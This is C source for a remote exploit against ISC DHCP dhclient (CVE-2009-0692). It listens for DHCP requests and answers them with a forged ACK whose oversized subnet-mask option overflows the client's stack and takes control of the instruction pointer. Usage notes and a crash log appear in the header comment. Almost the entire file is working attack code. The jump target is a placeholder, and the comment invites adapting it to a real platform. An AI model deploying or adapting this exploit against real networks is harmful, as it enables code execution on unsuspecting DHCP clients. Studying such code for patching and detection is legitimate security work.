/*
 * cve-2009-0692.c
 *
 * ISC DHCP dhclient < 3.1.2p1 Remote Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 * 
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0692
 * 
 *   Stack-based buffer overflow in the script_write_params method in 
 *   client/dhclient.c in ISC DHCP dhclient 4.1 before 4.1.0p1, 4.0 before 
 *   4.0.1p1, 3.1 before 3.1.2p1, 3.0, and 2.0 allows remote DHCP servers to 
 *   execute arbitrary code via a crafted subnet-mask option.
 * 
 * Usage:
 *
 *   $ gcc cve-2009-0692.c -o cve-2009-0692 -lpcap -ldnet
 *   $ sudo ./cve-2009-0692
 *   [+] listening on eth0: ip and udp and src port 68 and dst port 67
 *   [+] snarfed DHCP request from 00:19:d1:90:e5:4a with xid 0x120f8920
 *   [+] sending malicious DHCP response to 00:19:d1:90:e5:4a with xid 0x120f8920
 *
 *   $ gdb /sbin/dhclient
 *   ...
 *   DHCPREQUEST on eth0 to 255.255.255.255 port 67
 *   DHCPACK from 0.6.9.2
 *   ...
 *   Program received signal SIGSEGV, Segmentation fault.
 *   0x41414141 in ?? ()
 * 
 * Notes:
 * 
 *   Only tested with dhclient 3.1.2 on 32-bit Gentoo / GCC 4.3.3.  Feel free
 *   to tweak for your target platform.  Depends on libdnet and libpcap.
 *
 *   READABLE_1 and READABLE_2 need to be readable addresses as we fix up the 
 *   stack during our overflow.  After a successful return from the vulnerable
 *   script_write_params function, EIP will be set to JMP_TARGET.
 *
 *   Exclusively for use at DEFCON next week.  ;-) 
 */

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <dnet.h>
#include <pcap.h>

#define READABLE_1         "\xa8\xfc\x0b\x08" /* for es.client */
#define READABLE_2         "\xbc\x34\x0a\x08" /* for es.prefix */
#define JMP_TARGET         "\x41\x41\x41\x41"

#define BPF_FILTER         "ip and udp and src port 68 and dst port 67"
#define PKT_BUFSIZ         1514
#define DHCP_OP_REQUEST    1
#define DHCP_OP_REPLY      2
#define DHCP_TYPE_REQUEST  3
#define DHCP_TYPE_ACK      5
#define DHCP_OPT_REQIP     50
#define DHCP_OPT_MSGTYPE   53
#define DHCP_OPT_END       255
#define DHCP_CHADDR_LEN    16
#define SERVERNAME_LEN     64
#define BOOTFILE_LEN       128
#define DHCP_HDR_LEN       240
#define DHCP_OPT_HDR_LEN   2

#ifndef __GNUC__
# define __attribute__(x)
# pragma pack(1)
#endif

struct dhcp_hdr {
  uint8_t op;
  uint8_t hwtype;
  uint8_t hwlen;
  uint8_t hwopcount;
  uint32_t xid;
  uint16_t secs;
  uint16_t flags;
  uint32_t ciaddr;
  uint32_t yiaddr;
  uint32_t siaddr;
  uint32_t giaddr;
  uint8_t chaddr[DHCP_CHADDR_LEN];
  uint8_t servername[SERVERNAME_LEN];
  uint8_t bootfile[BOOTFILE_LEN];
  uint32_t cookie;
} __attribute__((__packed__));

struct dhcp_opt {
  uint8_t opt;
  uint8_t len;
} __attribute__((__packed__));

#ifndef __GNUC__
# pragma pack()
#endif

void
process(u_char *data, const struct pcap_pkthdr *pkthdr, const u_char *pkt)
{
  eth_t *raw;
  struct ip_hdr *ip_h;
  struct eth_hdr *eth_h;
  struct udp_hdr *udp_h;
  struct dhcp_hdr *dhcp_h;
  struct dhcp_opt *dhcp_opt;
  char *dev = data, *ptr;
  char pktbuf[PKT_BUFSIZ], options[PKT_BUFSIZ], payload[PKT_BUFSIZ];
  int opt_len, clen = pkthdr->caplen;
  uint8_t msg_type = 0, payload_len = 0;
  uint32_t yiaddr = 0;

  /* packet too short */
  if (clen < ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + DHCP_OPT_HDR_LEN) {
    return;
  }

  eth_h = (struct eth_hdr *) pkt;
  ip_h = (struct ip_hdr *) ((char *) eth_h + ETH_HDR_LEN);
  udp_h = (struct udp_hdr *) ((char *) ip_h + IP_HDR_LEN);
  dhcp_h = (struct dhcp_hdr *) ((char *) udp_h + UDP_HDR_LEN);
  dhcp_opt = (struct dhcp_opt *) ((char *) dhcp_h + DHCP_HDR_LEN);

  /* only care about REQUEST opcodes */
  if (dhcp_h->op != DHCP_OP_REQUEST) {
    return;
  }

  /* parse DHCP options */
  while (1) {
    if (dhcp_opt->opt == DHCP_OPT_MSGTYPE) {
      if (dhcp_opt->len != 1) {
        return;
      }
      memcpy(&msg_type, (char *) dhcp_opt + DHCP_OPT_HDR_LEN, dhcp_opt->len);
    }
    if (dhcp_opt->opt == DHCP_OPT_REQIP) {
      if (dhcp_opt->len != 4) {
        return;
      }
      memcpy(&yiaddr, (char *) dhcp_opt + DHCP_OPT_HDR_LEN, dhcp_opt->len);
    }
    if (dhcp_opt->opt == DHCP_OPT_END) {
      break;
    }
    if (((char *) dhcp_opt - (char *) pkt) + DHCP_OPT_HDR_LEN + dhcp_opt->len > clen) {
      break;
    }
    dhcp_opt = (struct dhcp_opt *) ((char *) dhcp_opt + DHCP_OPT_HDR_LEN + dhcp_opt->len);
  }

  /* only care about REQUEST msg types */
  if (msg_type != DHCP_TYPE_REQUEST) {
    return;
  }

  printf("[+] snarfed DHCP request from %s with xid 0x%08x\n", eth_ntoa(&eth_h->eth_src), dhcp_h->xid);
  printf("[+] sending malicious DHCP response to %s with xid 0x%08x\n\n", eth_ntoa(&eth_h->eth_src), dhcp_h->xid);

  /* construct stack payload */
  memset(payload, 0, sizeof(payload));
  ptr = payload;
  memset(ptr, 0, 16);
  ptr += 16;
  memcpy(ptr, READABLE_1, 4);
  ptr += 4;
  memcpy(ptr, READABLE_2, 4);
  ptr += 4;
  memset(ptr, 0, 8);
  ptr += 8;
  memcpy(ptr, "\x04\x00\x00\x00", 4);
  ptr += 4;
  memset(ptr, 0, 28);
  ptr += 28;
  memcpy(ptr, JMP_TARGET, 4);
  ptr += 4;
  payload_len = ptr - payload;

  /* dhcp header */
  dhcp_h->op = DHCP_OP_REPLY;
  memcpy(&dhcp_h->yiaddr, &yiaddr, 4);

  /* normal dhcp options */
  memset(options, 0, sizeof(options));
  ptr = options;
  memcpy(ptr, "\x35\x01\x05", 3);
  ptr += 3;
  memcpy(ptr, "\x36\x04\x00\x06\x09\x02", 6);
  ptr += 6;
  memcpy(ptr, "\x33\x04\x00\x09\x3a\x80", 6);
  ptr += 6;
  memcpy(ptr, "\x03\x04\x00\x06\x09\x02", 6);
  ptr += 6;
  memcpy(ptr, "\x06\x04\x00\x06\x09\x02", 6);
  ptr += 6;

  /* malicious subnet mask option */
  memcpy(ptr, "\x01", 1);
  ptr += 1;
  memcpy(ptr, &payload_len, 1);
  ptr += 1;
  memcpy(ptr, payload, payload_len);
  ptr += payload_len;

  memcpy(ptr, "\xff", 1);
  ptr += 1;
  opt_len = ptr - options;

  /* construct full packet payload */
  memset(pktbuf, 0, sizeof(pktbuf));
  ptr = pktbuf;

  eth_pack_hdr(ptr, ETH_ADDR_BROADCAST, "\xc1\x1e\x20\x09\x06\x92", ETH_TYPE_IP);
  ptr += ETH_HDR_LEN;

  ip_pack_hdr(ptr, 0, IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len, 0x0692, IP_DF, 64, IP_PROTO_UDP, 34145792, IP_ADDR_BROADCAST);
  ptr += IP_HDR_LEN;

  udp_pack_hdr(ptr, 67, 68, UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);
  ptr += UDP_HDR_LEN;

  memcpy(ptr, dhcp_h, DHCP_HDR_LEN);
  ptr += DHCP_HDR_LEN;

  memcpy(ptr, options, opt_len);
  ptr += opt_len;

  ip_checksum(pktbuf + ETH_HDR_LEN, IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);

  /* fire off malicious response */
  raw = eth_open(dev);
  if (!raw) {
    fprintf(stderr, "[-] error opening raw socket on %s\n", dev);
    exit(1);
  }
  eth_send(raw, pktbuf, ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);
  eth_close(raw);
}

void
usage(char **argv)
{
  fprintf(stderr, "usage: %s [-i interface]\n", argv[0]);
  exit(1);
}

int
main(int argc, char **argv)
{
  int ch, ret;
  char *dev = NULL;
  char errbuf[PCAP_ERRBUF_SIZE];
  struct bpf_program bfp;
  pcap_t *ph;
  
  opterr = 0;

  while ((ch = getopt(argc, argv, "i:")) != -1) {
    switch (ch) {
    case 'i':
      dev = optarg;
      break;
    default:
      usage(argv);
    }
  }

  if (!dev) {
    dev = pcap_lookupdev(errbuf);
    if (!dev) {
      fprintf(stderr, "[-] couldn't find default interface: %s\n", errbuf);
      exit(1);
    }
  }

  ph = pcap_open_live(dev, PKT_BUFSIZ, 1, 1, errbuf);
  if (!ph) {
    fprintf(stderr, "[-] couldn't open interface %s: %s\n", dev, errbuf);
    exit(1);
  }

  ret = pcap_compile(ph, &bfp, BPF_FILTER, 1, 0);
  if (ret == -1) {
    fprintf(stderr, "[-] couldn't parse BPF filter: %s\n", pcap_geterr(ph));
    exit(1);
  }

  pcap_setfilter(ph, &bfp);
  if (ret == -1) {
    fprintf(stderr, "[-] couldn't set BPF filter: %s\n", pcap_geterr(ph));
    exit(1);
  }

  printf("[+] listening on %s: %s\n", dev, BPF_FILTER);

  pcap_loop(ph, -1, process, dev);

  return 0;
}